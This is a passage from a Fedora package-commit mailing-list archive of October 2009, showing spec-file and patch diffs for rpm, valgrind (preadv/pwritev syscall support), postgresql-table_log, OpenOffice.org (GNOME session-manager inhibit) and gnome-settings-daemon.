+%patch211 -p1 -b .python-bytecompile
+%patch212 -p1 -b .diskspace
 
 %patch301 -p1 -b .niagara
 %patch302 -p1 -b .geode
@@ -427,6 +431,10 @@ exit 0
 %doc doc/librpm/html/*
 
 %changelog
+* Wed Oct 28 2009 Panu Matilainen <pmatilai at redhat.com> - 4.7.1-8
+- support multiple python implementations in brp-python-bytecompile (#531117)
+- make disk space problem reporting a bit saner (#517418)
+
 * Tue Oct 06 2009 Panu Matilainen <pmatilai at redhat.com> - 4.7.1-7
 - fix build with BDB 4.8.x by removing XA "support" from BDB backend 
 - perl dep extractor heredoc parsing improvements (#524929)



From jakub at fedoraproject.org  Wed Oct 28 08:44:45 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Wed, 28 Oct 2009 08:44:45 +0000 (UTC)
Subject: rpms/valgrind/F-12 valgrind-3.5.0-preadv.patch, NONE,
	1.1 valgrind.spec, 1.73, 1.74
Message-ID: <20091028084446.5DB3311C00E5@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/valgrind/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2875

Modified Files:
	valgrind.spec 
Added Files:
	valgrind-3.5.0-preadv.patch 
Log Message:
3.5.0-8

valgrind-3.5.0-preadv.patch:
 priv_syswrap-linux.h  |    3 +
 syswrap-amd64-linux.c |    4 +-
 syswrap-linux.c       |   77 ++++++++++++++++++++++++++++++++++++++++++++++++++
 syswrap-ppc32-linux.c |    6 +--
 syswrap-ppc64-linux.c |    6 +--
 syswrap-x86-linux.c   |    4 +-
 6 files changed, 90 insertions(+), 10 deletions(-)

--- NEW FILE valgrind-3.5.0-preadv.patch ---
--- valgrind/coregrind/m_syswrap/syswrap-amd64-linux.c.jj	2009-10-27 22:07:26.000000000 +0100
+++ valgrind/coregrind/m_syswrap/syswrap-amd64-linux.c	2009-10-28 09:24:57.307058551 +0100
@@ -1377,8 +1377,8 @@ const SyscallTableEntry ML_(syscall_tabl
    LINXY(__NR_pipe2,             sys_pipe2),            // 293
    LINXY(__NR_inotify_init1,     sys_inotify_init1),    // 294
 
-   //   (__NR_preadv,            sys_ni_syscall)        // 295
-   //   (__NR_pwritev,           sys_ni_syscall)        // 296
+   LINXY(__NR_preadv,            sys_preadv),           // 295
+   LINX_(__NR_pwritev,           sys_pwritev),          // 296
    //   (__NR_rt_tgsigqueueinfo, sys_ni_syscall)        // 297
    LINXY(__NR_perf_counter_open, sys_perf_counter_open) // 298
 };
--- valgrind/coregrind/m_syswrap/syswrap-x86-linux.c.jj	2009-10-27 22:07:26.000000000 +0100
+++ valgrind/coregrind/m_syswrap/syswrap-x86-linux.c	2009-10-28 09:24:08.631308771 +0100
@@ -2255,8 +2255,8 @@ const SyscallTableEntry ML_(syscall_tabl
    //   (__NR_dup3,              sys_ni_syscall)        // 330
    LINXY(__NR_pipe2,             sys_pipe2),            // 331
    LINXY(__NR_inotify_init1,     sys_inotify_init1),    // 332
-   //   (__NR_preadv,            sys_ni_syscall)        // 333
-   //   (__NR_pwritev,           sys_ni_syscall)        // 334
+   LINXY(__NR_preadv,            sys_preadv),           // 333
+   LINX_(__NR_pwritev,           sys_pwritev),          // 334
 
    //   (__NR_rt_tgsigqueueinfo, sys_ni_syscall)        // 335
    LINXY(__NR_perf_counter_open, sys_perf_counter_open) // 336
--- valgrind/coregrind/m_syswrap/syswrap-ppc64-linux.c.jj	2009-10-27 22:07:26.000000000 +0100
+++ valgrind/coregrind/m_syswrap/syswrap-ppc64-linux.c	2009-10-28 09:28:43.563071713 +0100
@@ -1508,9 +1508,9 @@ const SyscallTableEntry ML_(syscall_tabl
    //   (__NR_dup3,              sys_ni_syscall)        // 316
    LINXY(__NR_pipe2,             sys_pipe2),            // 317
    LINXY(__NR_inotify_init1,     sys_inotify_init1),    // 318
-   LINXY(__NR_perf_counter_open, sys_perf_counter_open) // 319
-   //   (__NR_preadv,            sys_ni_syscall)        // 320
-   //   (__NR_pwritev,           sys_ni_syscall)        // 321
+   LINXY(__NR_perf_counter_open, sys_perf_counter_open),// 319
+   LINXY(__NR_preadv,            sys_preadv),           // 320
+   LINX_(__NR_pwritev,           sys_pwritev)           // 321
    //   (__NR_rt_tgsigqueueinfo, sys_ni_syscall)        // 322
 };
 
--- valgrind/coregrind/m_syswrap/syswrap-linux.c.jj	2009-10-27 22:07:26.000000000 +0100
+++ valgrind/coregrind/m_syswrap/syswrap-linux.c	2009-10-28 09:40:32.276183692 +0100
@@ -3009,6 +3009,83 @@ PRE(sys_faccessat)
    PRE_MEM_RASCIIZ( "faccessat(pathname)", ARG2 );
 }
 
+PRE(sys_preadv)
+{
+   Int i;
+   struct vki_iovec * vec;
+   ULong off = (ULong)ARG4;
+#if VG_WORDSIZE == 4
+   off |= (ULong)ARG5 << 32;
+#endif
+   *flags |= SfMayBlock;
+   PRINT("sys_preadv ( %ld, %#lx, %llu, %llu )",ARG1,ARG2,(ULong)ARG3,off);
+   PRE_REG_READ5(ssize_t, "preadv",
+                 unsigned long, fd, const struct iovec *, vector,
+                 unsigned long, count, unsigned long, off_lo,
+                 unsigned long, off_hi);
+   if (!ML_(fd_allowed)(ARG1, "preadv", tid, False)) {
+      SET_STATUS_Failure( VKI_EBADF );
+   } else {
+      PRE_MEM_READ( "preadv(vector)", ARG2, ARG3 * sizeof(struct vki_iovec) );
+
+      if (ARG2 != 0) {
+         /* ToDo: don't do any of the following if the vector is invalid */
+         vec = (struct vki_iovec *)ARG2;
+         for (i = 0; i < (Int)ARG3; i++)
+            PRE_MEM_WRITE( "preadv(vector[...])",
+                           (Addr)vec[i].iov_base, vec[i].iov_len );
+      }
+   }
+}
+
+POST(sys_preadv)
+{
+   vg_assert(SUCCESS);
+   if (RES > 0) {
+      Int i;
+      struct vki_iovec * vec = (struct vki_iovec *)ARG2;
+      Int remains = RES;
+
+      /* RES holds the number of bytes read. */
+      for (i = 0; i < (Int)ARG3; i++) {
+	 Int nReadThisBuf = vec[i].iov_len;
+	 if (nReadThisBuf > remains) nReadThisBuf = remains;
+	 POST_MEM_WRITE( (Addr)vec[i].iov_base, nReadThisBuf );
+	 remains -= nReadThisBuf;
+	 if (remains < 0) VG_(core_panic)("preadv: remains < 0");
+      }
+   }
+}
+
+PRE(sys_pwritev)
+{
+   Int i;
+   struct vki_iovec * vec;
+   ULong off = (ULong)ARG4;
+#if VG_WORDSIZE == 4
+   off |= (ULong)ARG5 << 32;
+#endif
+   *flags |= SfMayBlock;
+   PRINT("sys_pwritev ( %ld, %#lx, %llu, %llu )",ARG1,ARG2,(ULong)ARG3,off);
+   PRE_REG_READ5(ssize_t, "pwritev",
+                 unsigned long, fd, const struct iovec *, vector,
+                 unsigned long, count, unsigned long, off_lo,
+                 unsigned long, off_hi);
+   if (!ML_(fd_allowed)(ARG1, "pwritev", tid, False)) {
+      SET_STATUS_Failure( VKI_EBADF );
+   } else {
+      PRE_MEM_READ( "pwritev(vector)", 
+		     ARG2, ARG3 * sizeof(struct vki_iovec) );
+      if (ARG2 != 0) {
+         /* ToDo: don't do any of the following if the vector is invalid */
+         vec = (struct vki_iovec *)ARG2;
+         for (i = 0; i < (Int)ARG3; i++)
+            PRE_MEM_READ( "pwritev(vector[...])",
+                           (Addr)vec[i].iov_base, vec[i].iov_len );
+      }
+   }
+}
+
 /* ---------------------------------------------------------------------
    key retention service wrappers
    ------------------------------------------------------------------ */
--- valgrind/coregrind/m_syswrap/priv_syswrap-linux.h.jj	2009-10-27 22:07:26.000000000 +0100
+++ valgrind/coregrind/m_syswrap/priv_syswrap-linux.h	2009-10-28 09:22:42.735058008 +0100
@@ -163,6 +163,9 @@ DECL_TEMPLATE(linux, sys_fchmodat);
 DECL_TEMPLATE(linux, sys_faccessat);
 DECL_TEMPLATE(linux, sys_utimensat);
 
+DECL_TEMPLATE(linux, sys_preadv);
+DECL_TEMPLATE(linux, sys_pwritev);
+
 DECL_TEMPLATE(linux, sys_add_key);
 DECL_TEMPLATE(linux, sys_request_key);
 DECL_TEMPLATE(linux, sys_keyctl);
--- valgrind/coregrind/m_syswrap/syswrap-ppc32-linux.c.jj	2009-10-27 22:07:26.000000000 +0100
+++ valgrind/coregrind/m_syswrap/syswrap-ppc32-linux.c	2009-10-28 09:28:12.173183524 +0100
@@ -1868,9 +1868,9 @@ const SyscallTableEntry ML_(syscall_tabl
    //   (__NR_dup3,              sys_ni_syscall)        // 316
    LINXY(__NR_pipe2,             sys_pipe2),            // 317
    LINXY(__NR_inotify_init1,     sys_inotify_init1),    // 318
-   LINXY(__NR_perf_counter_open, sys_perf_counter_open) // 319
-   //   (__NR_preadv,            sys_ni_syscall)        // 320
-   //   (__NR_pwritev,           sys_ni_syscall)        // 321
+   LINXY(__NR_perf_counter_open, sys_perf_counter_open),// 319
+   LINXY(__NR_preadv,            sys_preadv),           // 320
+   LINX_(__NR_pwritev,           sys_pwritev)           // 321
    //   (__NR_rt_tgsigqueueinfo, sys_ni_syscall)        // 322
 };
 


Index: valgrind.spec
===================================================================
RCS file: /cvs/pkgs/rpms/valgrind/F-12/valgrind.spec,v
retrieving revision 1.73
retrieving revision 1.74
diff -u -p -r1.73 -r1.74
--- valgrind.spec	27 Oct 2009 21:19:42 -0000	1.73
+++ valgrind.spec	28 Oct 2009 08:44:44 -0000	1.74
@@ -1,7 +1,7 @@
 Summary: Tool for finding memory management bugs in programs
 Name: valgrind
 Version: 3.5.0
-Release: 7
+Release: 8
 Epoch: 1
 Source0: http://www.valgrind.org/downloads/valgrind-%{version}.tar.bz2
 Patch1: valgrind-3.5.0-cachegrind-improvements.patch
@@ -18,6 +18,7 @@ Patch11: valgrind-3.5.0-amd64-loopnel.pa
 Patch12: valgrind-3.5.0-ppc-dwarf3.patch
 Patch13: valgrind-3.5.0-amd64-adcsbb.patch
 Patch14: valgrind-3.5.0-syscalls.patch
+Patch15: valgrind-3.5.0-preadv.patch
 License: GPLv2
 URL: http://www.valgrind.org/
 Group: Development/Debuggers
@@ -85,6 +86,7 @@ or valgrind plugins.
 %patch12 -p1
 %patch13 -p1
 %patch14 -p1
+%patch15 -p1
 
 %build
 %ifarch x86_64 ppc64
@@ -170,6 +172,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/*
 
 %changelog
+* Wed Oct 28 2009 Jakub Jelinek <jakub at redhat.com> 3.5.0-8
+- add preadv/pwritev syscall support
+
 * Tue Oct 27 2009 Jakub Jelinek <jakub at redhat.com> 3.5.0-7
 - add perf_counter_open syscall support (#531271)
 - add handling of some sbb/adc insn forms on x86_64 (KDE#211410)



From devrim at fedoraproject.org  Wed Oct 28 09:51:40 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Wed, 28 Oct 2009 09:51:40 +0000 (UTC)
Subject: rpms/postgresql-table_log/F-12 postgresql-table_log.spec,1.7,1.8
Message-ID: <20091028095140.3703E11C00E5@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-table_log/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16837/F-12

Modified Files:
	postgresql-table_log.spec 
Log Message:
Rebuild for PostgreSQL 8.4. 



Index: postgresql-table_log.spec
===================================================================
RCS file: /cvs/extras/rpms/postgresql-table_log/F-12/postgresql-table_log.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- postgresql-table_log.spec	26 Jul 2009 19:17:34 -0000	1.7
+++ postgresql-table_log.spec	28 Oct 2009 09:51:38 -0000	1.8
@@ -3,7 +3,7 @@
 Summary:	Log data changes in a PostgreSQL table
 Name:		postgresql-%{sname}
 Version:	0.4.4
-Release:	7%{?dist}
+Release:	8%{?dist}
 License:	BSD
 Group:		Applications/Databases
 Source0:	http://pgfoundry.org/frs/download.php/1387/%{sname}-%{version}.tar.gz
@@ -49,6 +49,9 @@ rm -rf %{buildroot}
 %{_libdir}/pgsql/%{sname}.so
 
 %changelog
+* Wed Oct 28 2009 - Devrim GUNDUZ <devrim at commandprompt.com> 0.4.4-8.1
+- Rebuilt against PostgreSQL 8.4
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4.4-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From devrim at fedoraproject.org  Wed Oct 28 09:51:40 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Wed, 28 Oct 2009 09:51:40 +0000 (UTC)
Subject: rpms/postgresql-table_log/devel postgresql-table_log.spec,1.7,1.8
Message-ID: <20091028095140.3B8CC11C0268@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-table_log/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16837/devel

Modified Files:
	postgresql-table_log.spec 
Log Message:
Rebuild for PostgreSQL 8.4. 



Index: postgresql-table_log.spec
===================================================================
RCS file: /cvs/extras/rpms/postgresql-table_log/devel/postgresql-table_log.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- postgresql-table_log.spec	26 Jul 2009 19:17:34 -0000	1.7
+++ postgresql-table_log.spec	28 Oct 2009 09:51:39 -0000	1.8
@@ -3,7 +3,7 @@
 Summary:	Log data changes in a PostgreSQL table
 Name:		postgresql-%{sname}
 Version:	0.4.4
-Release:	7%{?dist}
+Release:	8%{?dist}
 License:	BSD
 Group:		Applications/Databases
 Source0:	http://pgfoundry.org/frs/download.php/1387/%{sname}-%{version}.tar.gz
@@ -49,6 +49,9 @@ rm -rf %{buildroot}
 %{_libdir}/pgsql/%{sname}.so
 
 %changelog
+* Wed Oct 28 2009 - Devrim GUNDUZ <devrim at commandprompt.com> 0.4.4-8.1
+- Rebuilt against PostgreSQL 8.4
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4.4-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From devrim at fedoraproject.org  Wed Oct 28 09:52:46 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Wed, 28 Oct 2009 09:52:46 +0000 (UTC)
Subject: rpms/postgresql-table_log/F-12 postgresql-table_log.spec,1.8,1.9
Message-ID: <20091028095246.41DE011C00E5@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-table_log/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17046/F-12

Modified Files:
	postgresql-table_log.spec 
Log Message:
Add related bz id to changelog.



Index: postgresql-table_log.spec
===================================================================
RCS file: /cvs/extras/rpms/postgresql-table_log/F-12/postgresql-table_log.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- postgresql-table_log.spec	28 Oct 2009 09:51:38 -0000	1.8
+++ postgresql-table_log.spec	28 Oct 2009 09:52:46 -0000	1.9
@@ -50,7 +50,7 @@ rm -rf %{buildroot}
 
 %changelog
 * Wed Oct 28 2009 - Devrim GUNDUZ <devrim at commandprompt.com> 0.4.4-8.1
-- Rebuilt against PostgreSQL 8.4
+- Rebuilt against PostgreSQL 8.4. Fixes bugzilla #531414.
 
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4.4-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From devrim at fedoraproject.org  Wed Oct 28 09:52:46 2009
From: devrim at fedoraproject.org (=?utf-8?b?RGV2cmltIEfDnE5Ew5xa?=)
Date: Wed, 28 Oct 2009 09:52:46 +0000 (UTC)
Subject: rpms/postgresql-table_log/devel postgresql-table_log.spec,1.8,1.9
Message-ID: <20091028095246.78C9311C00E5@cvs1.fedora.phx.redhat.com>

Author: devrim

Update of /cvs/extras/rpms/postgresql-table_log/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17046/devel

Modified Files:
	postgresql-table_log.spec 
Log Message:
Add related bz id to changelog.



Index: postgresql-table_log.spec
===================================================================
RCS file: /cvs/extras/rpms/postgresql-table_log/devel/postgresql-table_log.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- postgresql-table_log.spec	28 Oct 2009 09:51:39 -0000	1.8
+++ postgresql-table_log.spec	28 Oct 2009 09:52:46 -0000	1.9
@@ -50,7 +50,7 @@ rm -rf %{buildroot}
 
 %changelog
 * Wed Oct 28 2009 - Devrim GUNDUZ <devrim at commandprompt.com> 0.4.4-8.1
-- Rebuilt against PostgreSQL 8.4
+- Rebuilt against PostgreSQL 8.4. Fixes bugzilla #531414.
 
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4.4-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From caolanm at fedoraproject.org  Wed Oct 28 10:20:07 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Wed, 28 Oct 2009 10:20:07 +0000 (UTC)
Subject: rpms/openoffice.org/devel workspace.gsminhibit.patch, NONE,
	1.1 openoffice.org.spec, 1.2049, 1.2050
Message-ID: <20091028102007.706F311C02BB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22267

Modified Files:
	openoffice.org.spec 
Added Files:
	workspace.gsminhibit.patch 
Log Message:
add workspace.gsminhibit.patch for new g-s-m api-de-jour inhibit

workspace.gsminhibit.patch:
 gtk/window/gtkframe.cxx      |   51 ++++++++++++++++++++++---------------------
 inc/plugins/gtk/gtkframe.hxx |    2 -
 2 files changed, 28 insertions(+), 25 deletions(-)

--- NEW FILE workspace.gsminhibit.patch ---

# HG changeset patch
# User cmc at openoffice.org
# Date 1256724641 0
# Node ID 170d9f615c3e644ce95635ba446cd9f4a7bedf1c
# Parent  ccdb8c85656c5ff3cd1ac7b527eac0227cfd7ced
gsminhibit: #i106372#: move to org.gnome.SessionManager

--- a/vcl/unx/gtk/window/gtkframe.cxx	Wed Oct 28 09:17:36 2009 +0000
+++ b/vcl/unx/gtk/window/gtkframe.cxx	Wed Oct 28 10:10:41 2009 +0000
@@ -70,9 +70,9 @@
 #ifdef ENABLE_DBUS
 #include <dbus/dbus-glib.h>
 
-#define GSS_DBUS_SERVICE        "org.gnome.ScreenSaver"
-#define GSS_DBUS_PATH           "/org/gnome/ScreenSaver"
-#define GSS_DBUS_INTERFACE      "org.gnome.ScreenSaver"
+#define GSM_DBUS_SERVICE        "org.gnome.SessionManager"
+#define GSM_DBUS_PATH           "/org/gnome/SessionManager"
+#define GSM_DBUS_INTERFACE      "org.gnome.SessionManager"
 #endif
 
 // make compile on gtk older than 2.10
@@ -565,7 +565,7 @@
     m_pIMHandler		= NULL;
     m_hBackgroundPixmap = None;
     m_nSavedScreenSaverTimeout = 0;
-    m_nGSSCookie = 0;
+    m_nGSMCookie = 0;
     m_nExtStyle         = 0;
     m_pRegion           = NULL;
     m_ePointerStyle     = 0xffff;
@@ -1904,8 +1904,9 @@
 #ifdef ENABLE_DBUS
 /** cookie is returned as an unsigned integer */
 static guint
-dbus_inhibit_gss (const gchar *appname,
-                  const gchar *reason)
+dbus_inhibit_gsm (const gchar *appname,
+                  const gchar *reason,
+                  guint xid)
 {
         gboolean         res;
         guint            cookie;
@@ -1921,20 +1922,22 @@
                 return -1;
         }
 
-        /* get the proxy with gnome-screensaver */
+        /* get the proxy with gnome-session-manager */
         proxy = dbus_g_proxy_new_for_name (session_connection,
-                                           GSS_DBUS_SERVICE,
-                                           GSS_DBUS_PATH,
-                                           GSS_DBUS_INTERFACE);
+                                           GSM_DBUS_SERVICE,
+                                           GSM_DBUS_PATH,
+                                           GSM_DBUS_INTERFACE);
         if (proxy == NULL) {
-                g_warning ("Could not get DBUS proxy: %s", GSS_DBUS_SERVICE);
+                g_warning ("Could not get DBUS proxy: %s", GSM_DBUS_SERVICE);
                 return -1;
         }
 
         res = dbus_g_proxy_call (proxy,
                                  "Inhibit", &error,
                                  G_TYPE_STRING, appname,
+                                 G_TYPE_UINT, xid,
                                  G_TYPE_STRING, reason,
+                                 G_TYPE_UINT, 8, //Inhibit the session being marked as idle
                                  G_TYPE_INVALID,
                                  G_TYPE_UINT, &cookie,
                                  G_TYPE_INVALID);
@@ -1957,15 +1960,14 @@
 }
 
 static void
-dbus_uninhibit_gss (guint cookie)
+dbus_uninhibit_gsm (guint cookie)
 {
         gboolean         res;
         GError          *error = NULL;
         DBusGProxy      *proxy = NULL;
         DBusGConnection *session_connection = NULL;
 
-        /* cookies have to be positive as unsigned */
-        if (cookie < 0) {
+        if (cookie == guint(-1)) {
                 g_warning ("Invalid cookie");
                 return;
         }
@@ -1978,18 +1980,18 @@
                 return;
         }
 
-        /* get the proxy with gnome-screensaver */
+        /* get the proxy with gnome-session-manager */
         proxy = dbus_g_proxy_new_for_name (session_connection,
-                                           GSS_DBUS_SERVICE,
-                                           GSS_DBUS_PATH,
-                                           GSS_DBUS_INTERFACE);
+                                           GSM_DBUS_SERVICE,
+                                           GSM_DBUS_PATH,
+                                           GSM_DBUS_INTERFACE);
         if (proxy == NULL) {
-                g_warning ("Could not get DBUS proxy: %s", GSS_DBUS_SERVICE);
+                g_warning ("Could not get DBUS proxy: %s", GSM_DBUS_SERVICE);
                 return;
         }
 
         res = dbus_g_proxy_call (proxy,
-                                 "UnInhibit",
+                                 "Uninhibit",
                                  &error,
                                  G_TYPE_UINT, cookie,
                                  G_TYPE_INVALID,
@@ -1997,12 +1999,12 @@
 
         /* check the return value */
         if (! res) {
-                g_warning ("UnInhibit method failed");
+                g_warning ("Uninhibit method failed");
         }
 
         /* check the error value */
         if (error != NULL) {
-                g_warning ("Inhibit problem : %s", error->message);
+                g_warning ("Uninhibit problem : %s", error->message);
                 g_error_free (error);
                 cookie = -1;
         }
@@ -2030,7 +2032,8 @@
 							 bPreferBlanking, bAllowExposures );
 		}
 #ifdef ENABLE_DBUS
-		m_nGSSCookie = dbus_inhibit_gss(g_get_application_name(), "presentation");
+		m_nGSMCookie = dbus_inhibit_gsm(g_get_application_name(), "presentation", 
+                    GDK_WINDOW_XID(m_pWindow->window));
 #endif
 	}
 	else
@@ -2041,7 +2044,7 @@
 							 bAllowExposures );
 		m_nSavedScreenSaverTimeout = 0;
 #ifdef ENABLE_DBUS
-		dbus_uninhibit_gss(m_nGSSCookie);
+		dbus_uninhibit_gsm(m_nGSMCookie);
 #endif
 	}
 }
--- a/vcl/unx/inc/plugins/gtk/gtkframe.hxx	Wed Oct 28 09:17:36 2009 +0000
+++ b/vcl/unx/inc/plugins/gtk/gtkframe.hxx	Wed Oct 28 10:10:41 2009 +0000
@@ -180,7 +180,7 @@
     GdkVisibilityState              m_nVisibility;
     PointerStyle                    m_ePointerStyle;
     int                             m_nSavedScreenSaverTimeout;
-    guint                           m_nGSSCookie;
+    guint                           m_nGSMCookie;
     int                             m_nWorkArea;
     bool                            m_bFullscreen;
     bool                            m_bSingleAltPress;



Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2049
retrieving revision 1.2050
diff -u -p -r1.2049 -r1.2050
--- openoffice.org.spec	21 Oct 2009 09:04:39 -0000	1.2049
+++ openoffice.org.spec	28 Oct 2009 10:20:05 -0000	1.2050
@@ -121,6 +121,7 @@ Patch47: openoffice.org-3.2.0.oooXXXXXX.
 Patch48: openoffice.org-3.2.0.ooo106032.linguistic.defaulttoplain.patch
 Patch49: workspace.impress178.patch
 Patch50: openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch
+Patch51: workspace.gsminhibit.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1631,6 +1632,7 @@ cat %{PATCH10} >> svtools/source/dialogs
 %patch48 -p0 -b .ooo106032.linguistic.defaulttoplain.patch
 %patch49 -p0 -b .workspace.impress178.patch
 %patch50 -p0 -b .ooo106130.svx.removedeletedshapes.patch
+%patch51 -p1 -b .workspace.gsminhibit.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4131,9 +4133,10 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
-* Wed Oct 21 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.5.UNBUILT
+* Wed Oct 28 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.5
 - Resolves: ooo#103757 custom shape cut and paste (caolanm)
 - Resolves: rhbz#529746 crash on exit after loading .ppt (caolanm)
+- add workspace.gsminhibit.patch for new g-s-m api-de-jour inhibit (caolanm)
 
 * Mon Oct 19 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.4
 - Resolves: rhbz#521460 add openoffice.org-3.2.0.ooo106032.linguistic.defaulttoplain.patch (caolanm)



From hadess at fedoraproject.org  Wed Oct 28 10:28:54 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Wed, 28 Oct 2009 10:28:54 +0000 (UTC)
Subject: rpms/gnome-settings-daemon/devel
	0003-Improve-the-media-keys-overlay-design.patch, 1.1, 1.2
Message-ID: <20091028102854.94D9E11C00E5@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-settings-daemon/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23558

Modified Files:
	0003-Improve-the-media-keys-overlay-design.patch 
Log Message:
* Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-4
- Update from F-12 branch


0003-Improve-the-media-keys-overlay-design.patch:
 gsd-media-keys-window.c |   58 ++++++++++++++++++++++++++++++++++++------------
 1 file changed, 44 insertions(+), 14 deletions(-)

Index: 0003-Improve-the-media-keys-overlay-design.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-settings-daemon/devel/0003-Improve-the-media-keys-overlay-design.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0003-Improve-the-media-keys-overlay-design.patch	27 Oct 2009 22:44:05 -0000	1.1
+++ 0003-Improve-the-media-keys-overlay-design.patch	28 Oct 2009 10:28:53 -0000	1.2
@@ -1,14 +1,15 @@
-From 26041c5b936263d3f5aa4aa7fc7ffedd128ed444 Mon Sep 17 00:00:00 2001
+From 20036534e2828417b75ea3a0cd830266f40f81f6 Mon Sep 17 00:00:00 2001
 From: William Jon McCann <jmccann at redhat.com>
 Date: Wed, 23 Sep 2009 21:15:45 -0400
-Subject: [PATCH 3/3] Improve the media keys overlay design
+Subject: [PATCH 3/5] Improve the media keys overlay design
 
+https://bugzilla.gnome.org/show_bug.cgi?id=596136
 ---
- plugins/media-keys/gsd-media-keys-window.c |   59 +++++++++++++++++++++-------
- 1 files changed, 45 insertions(+), 14 deletions(-)
+ plugins/media-keys/gsd-media-keys-window.c |   57 +++++++++++++++++++++------
+ 1 files changed, 44 insertions(+), 13 deletions(-)
 
 diff --git a/plugins/media-keys/gsd-media-keys-window.c b/plugins/media-keys/gsd-media-keys-window.c
-index cffbe3e..c33d624 100644
+index cffbe3e..ec69598 100644
 --- a/plugins/media-keys/gsd-media-keys-window.c
 +++ b/plugins/media-keys/gsd-media-keys-window.c
 @@ -33,7 +33,7 @@
@@ -57,12 +58,8 @@ index cffbe3e..c33d624 100644
  draw_volume_boxes (GsdMediaKeysWindow *window,
                     cairo_t            *cr,
                     double              percentage,
-@@ -609,33 +639,34 @@ draw_volume_boxes (GsdMediaKeysWindow *window,
-         y0 += 0.5;
-         height = round (height) - 1;
-         width = round (width) - 1;
--        x1 = round ((width - 1) * percentage);
-+        x1 = round ((width - 2) * percentage);
+@@ -612,30 +642,31 @@ draw_volume_boxes (GsdMediaKeysWindow *window,
+         x1 = round ((width - 1) * percentage);
  
          /* bar background */
 -        color = GTK_WIDGET (window)->style->dark [GTK_STATE_NORMAL];
@@ -98,7 +95,7 @@ index cffbe3e..c33d624 100644
          g = (float)color.green / 65535.0;
          b = (float)color.blue / 65535.0;
 -        cairo_rectangle (cr, x0 + 0.5, y0 + 0.5, x1, height - 1);
-+        rounded_rectangle (cr, 1.0, x0 + 0.5, y0 + 0.5, height / 8, x1, height - 2);
++        rounded_rectangle (cr, 1.0, x0 + 0.5, y0 + 0.5, height / 6 - 0.5, x1, height - 1);
          cairo_set_source_rgba (cr, r, g, b, FG_ALPHA);
          cairo_fill (cr);
  }



From hadess at fedoraproject.org  Wed Oct 28 10:29:51 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Wed, 28 Oct 2009 10:29:51 +0000 (UTC)
Subject: rpms/gnome-settings-daemon/devel gnome-settings-daemon.spec, 1.128, 
	1.129
Message-ID: <20091028102951.6608111C00E5@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-settings-daemon/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23772

Modified Files:
	gnome-settings-daemon.spec 
Log Message:
* Wed Oct 28 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-5
- Tweak OSD blurinness again



Index: gnome-settings-daemon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-settings-daemon/devel/gnome-settings-daemon.spec,v
retrieving revision 1.128
retrieving revision 1.129
diff -u -p -r1.128 -r1.129
--- gnome-settings-daemon.spec	27 Oct 2009 22:44:05 -0000	1.128
+++ gnome-settings-daemon.spec	28 Oct 2009 10:29:51 -0000	1.129
